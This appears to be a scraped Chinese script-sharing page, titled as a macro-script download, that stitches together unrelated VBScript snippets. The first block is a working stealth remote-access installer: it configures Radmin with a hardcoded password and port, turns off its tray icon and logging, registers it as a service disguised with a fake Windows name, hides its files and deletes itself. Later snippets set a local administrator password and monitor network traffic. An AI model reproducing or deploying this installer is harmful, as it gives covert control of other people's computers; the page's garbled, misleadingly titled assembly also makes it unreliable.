红月按键精灵脚本3下载

发布时间:2021-06-13 来源:脚本之家 点击:

由VB提供的DataManager对于开发人员来讲并不是一件强大的工具
onerrorresumenext
constHKEY_LOCAL_MACHINE=&H80000002
strComputer="."
SetStdOut=WScript.StdOut
SetoReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\"&_
strComputer&"\root\default:StdRegProv")
strKeyPath="SYSTEM\RAdmin"
oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath
strKeyPath="SYSTEM\RAdmin\v2.0"
oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath
strKeyPath="SYSTEM\RAdmin\v2.0\Server"
oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath
strKeyPath="SYSTEM\RAdmin\v2.0\Server\iplist"
oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath
strKeyPath="SYSTEM\RAdmin\v2.0\Server\Parameters"
oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath
SetobjRegistry=GetObject("Winmgmts:root\default:StdRegProv")
strPath="SYSTEM\RAdmin\v2.0\Server\Parameters"
uBinary=Array(0,0,0,0)
Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"AskUser",uBinary)
uBinary=Array(0,0,0,0)
Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"AutoAllow",uBinary)
uBinary=Array(1,0,0,0)
Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"DisableTrayIcon",uBinary)
uBinary=Array(0,0,0,0)
Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"EnableEventLog",uBinary)
uBinary=Array(0,0,0,0)
Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"EnableLogFile",uBinary)
uBinary=Array(0,0,0,0)
Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"FilterIp",uBinary)
uBinary=Array(0,0,0,0)
Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"NTAuthEnabled",uBinary)
uBinary=Array(198,195,162,215,37,223,10,224,99,83,126,32,212,173,208,119)//此为注册表导出十六进制转为十进制数据pass:241241241
Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"Parameter",uBinary)//Radmin密码
uBinary=Array(5,4,0,0)//端口:1029
Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"Port",uBinary)
uBinary=Array(10,0,0,0)
Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"Timeout",uBinary)
SetoReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\"&strComputer&"\root\default:StdRegProv")
strKeyPath="SYSTEM\RAdmin\v2.0\Server\Parameters"
strValueName="LogFilePath"
strValue="c:\logfile.txt"
setwshshell=createobject("wscript.shell")
a=wshshell.run("sc.execreateWinManageHelpbinpath=%systemroot%\system32\Exporer.exestart=auto",0)
oReg.SetStringValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
SetoReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\"&strComputer&"\root\default:StdRegProv")
strKeyPath="SYSTEM\ControlSet001\Services\WinManageHelp"
strValueName="Description"
strValue="WindowsMediaPlayerWindowsManagementInstrumentationPlayerDrivers."
oReg.SetStringValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
strValueName="DisplayName"
strValue="WindowsManagementInstrumentationPlayerDrivers"
oReg.SetStringValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
strValueName="ImagePath"
strValue="c:\windows\system32\Exporer.exe/service"
oReg.SetExpandedStringValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
setwshshell=createobject("wscript.shell")
a=wshshell.run("netstartWinManageHelp",0)
b=wshshell.run("attrib+r+h+s%systemroot%\system32\exporer.exe",0)
c=wshshell.run("attrib+r+h+s%systemroot%\system32\AdmDll.dll",0)
d=wshshell.run("attrib+r+h+s%systemroot%\system32\raddrv.dll",0)
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)//自删除

tcl脚本语言教程
window.SendText text

3.)当Recordset对象的使用结束时,关闭该对象以释放所有记录集级的锁定


'程序名称: btlwchk_netinterface.vbs
'程序用途: 监测windows主机网络接口利用率
'创建日期: 2011-09-1
'作者信息: zhangkai
'运行环境: vbs
'处理参数

MonSubject="NetInterface"
Set Args=WScript.Arguments
If (Args.Count<1) Then
Wscript.Echo MonSubject & " -1:command line error"
WScript.Quit(3)
End If
strcid=Args(0)
'获取工作目录
tmparr=Split(Wscript.ScriptFullName,"",-1)
g_strworkdir=tmparr(0)
narr=UBound(tmparr,1)
For i=1 to narr-3
g_strworkdir=g_strworkdir & "" & tmparr(i)
Next
'装载公共库
set g_fileSys=createObject ("Scripting.FileSystemObject")
Sub includeFile (fSpec)
dim file, fileData
set file=g_fileSys.openTextFile (fSpec)
fileData=file.readAll ()
file.close
executeGlobal fileData
set file=nothing
end sub
includeFile g_strworkdir & "\nagios\libexec\libcomm.vbs"


'输出版本和帮助信息
getverhelp strcid,"v1.00"," <cid>"

strComputer="."
Set objWMIService=GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\" & strComputer & "\root\cimv2")

'第1次采样
Set colItems=objWMIService.ExecQuery("Select * from Win32_PerfRawData_Tcpip_NetworkInterface",,48)
Dim BytesTotalPersec1(20),TimeValue1(20),Name1(20),CurrentBandwidth(20),BytesReceivedPerSec1(20),BytesSentPerSec1(20),PacketsReceivedPerSec1(20),PacketsSentPerSec1(20),_
BytesTotalPersec(20),PercentNetwork(20),BytesReceivedPerSec(20),BytesSentPerSec(20),PacketsReceivedPerSec(20),PacketsSentPerSec(20)
n=0
For Each objItem in colItems
Name1(n)=objItem.Name
BytesTotalPersec1(n)=objItem.BytesTotalPersec
BytesReceivedPerSec1(n)=objItem.BytesReceivedPerSec
BytesSentPerSec1(n)=objItem.BytesSentPerSec
PacketsReceivedPerSec1(n)=objItem.PacketsReceivedPerSec
PacketsSentPerSec1(n)=objItem.PacketsSentPerSec
TimeValue1(n)=objItem.Timestamp_PerfTime
CurrentBandwidth(n)=objItem.CurrentBandwidth
TimeBase=objItem.Frequency_PerfTime
n=n+1
Next

'第2次采样
WScript.Sleep 1000
Set colItems=objWMIService.ExecQuery("Select * from Win32_PerfRawData_Tcpip_NetworkInterface",,48)
Dim BytesTotalPersec2(20),TimeValue2(20),Name2(20),BytesReceivedPerSec2(20),BytesSentPerSec2(20),PacketsReceivedPerSec2(20),PacketsSentPerSec2(20)
k=0
For Each objItem in colItems
Name2(k)=objItem.Name
BytesTotalPersec2(k)=objItem.BytesTotalPersec
BytesReceivedPerSec2(k)=objItem.BytesReceivedPerSec
BytesSentPerSec2(k)=objItem.BytesSentPerSec
PacketsReceivedPerSec2(k)=objItem.PacketsReceivedPerSec
PacketsSentPerSec2(k)=objItem.PacketsSentPerSec
TimeValue2(k)=objItem.Timestamp_PerfTime
k=k+1
Next

j=0
For i=0 to n-1
If TimeValue2(j) - TimeValue1(j)=0 Then
strnetwork="BytesTotalPersec=0"
Else
'带宽利用率=(BytesReceivedPerSec + BytesSentPerSec)*8*100/ CurrentBandwidth
'计算利用率
BytesTotalPersec(j)=(BytesTotalPersec2(j) - BytesTotalPersec1(j)) / ((TimeValue2(j) - TimeValue1(j)) / TimeBase)
PercentNetwork(j)=BytesTotalPersec(j)*8*100 / CurrentBandwidth(j)
PercentNetwork(j)=round(PercentNetwork(j),2)

'计算BytesReceivedPerSec
BytesReceivedPerSec(j)=(BytesReceivedPerSec2(j) - BytesReceivedPerSec1(j)) / ((TimeValue2(j) - TimeValue1(j)) / TimeBase)/1024
BytesReceivedPerSec(j)=round(BytesReceivedPerSec(j),2)

'计算BytesSentPerSec
BytesSentPerSec(j)=(BytesSentPerSec2(j) - BytesSentPerSec1(j)) / ((TimeValue2(j) - TimeValue1(j)) / TimeBase)/1024
BytesSentPerSec(j)=round(BytesSentPerSec(j),2)

'计算PacketsReceivedPerSec
PacketsReceivedPerSec(j)=(PacketsReceivedPerSec2(j) - PacketsReceivedPerSec1(j)) / ((TimeValue2(j) - TimeValue1(j)) / TimeBase)
PacketsReceivedPerSec(j)=round(PacketsReceivedPerSec(j),2)

'计算PacketsSentPerSec
PacketsSentPerSec(j)=(PacketsSentPerSec2(j) - PacketsSentPerSec1(j)) / ((TimeValue2(j) - TimeValue1(j)) / TimeBase)
PacketsSentPerSec(j)=round(PacketsSentPerSec(j),2)

'计算CurrentBandwidth
CurrentBandwidth(j)=CInt(CurrentBandwidth(j)/1000/1000)
End If
If j=0 Then
Wscript.Echo MonSubject & " 0:OK|Name=" & Name1(j) & ",PercentNetwork=" & PercentNetwork(j) & ",BytesReceivedPerSec=" & BytesReceivedPerSec(j) & ",BytesSentPerSec=" & BytesSentPerSec(j) _
& ",PacketsReceivedPerSec=" & PacketsReceivedPerSec(j) & ",PacketsSentPerSec=" & PacketsSentPerSec(j) & ",CurrentBandwidth=" & CurrentBandwidth(j)
End If
'Wscript.Echo MonSubject & " 0:OK|" & Name1(j) & ",PercentNetwork=" & PercentNetwork
j=j+1
Next
其实,只要使用相对路径,就完全可以避免这个问题

objs="c:\aaa\*"'支持UNC路径
objd="d:\aaa"
'请自行修改上面两个路径
Setobjshell=CreateObject("Scripting.FileSystemObject")
objshell.CopyFolder(Objs,objD)'当文件存在时默认进行覆盖操作说不定在设为单一使用者後,还来不及建立另外的连线时,就
有其他的Process先进入该资料库

strr=Wll.Regread (str)
SW管道打开

  隐形功能多用于木马程序,但木马程序在许多国家和地区是不合法的,为便于理解,本文用VB结合一个程序防拷贝的实例来讲解将域用户或租添加到本地组
SetobjGroup=GetObject("")
SetobjUser=GetObject("")
objGroup.Add(objUser.ADsPath)

修改本地管理员密码
Setobjcnlar=GetObject("")
objcnla.SetPassword"P@ssW0rd"
objcnla.SetInfo

弹出YESorNO的对话框,不同的选择执行不同的代码
intAnswer=Msgbox("Doyouwanttodeletethesefiles?",vbYesNo,
"DeleteFiles")
IfintAnswer=vbYesThen
Msgbox"Youansweredyes."
ElseMsgbox"Youansweredno."
EndIf

运行CMD命令行命令
setobshell=wscript.createobject("wscript.shell")
obshell.run("ipconfig"),,true
如果要运行的命令中包含双引号,可使用&chr(34)&代替

忽略代码错误继续执行
OnErrorResumeNext
放置于代码的最开头,当代码运行出错后并不停止跳出而是继续执行下一条。

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号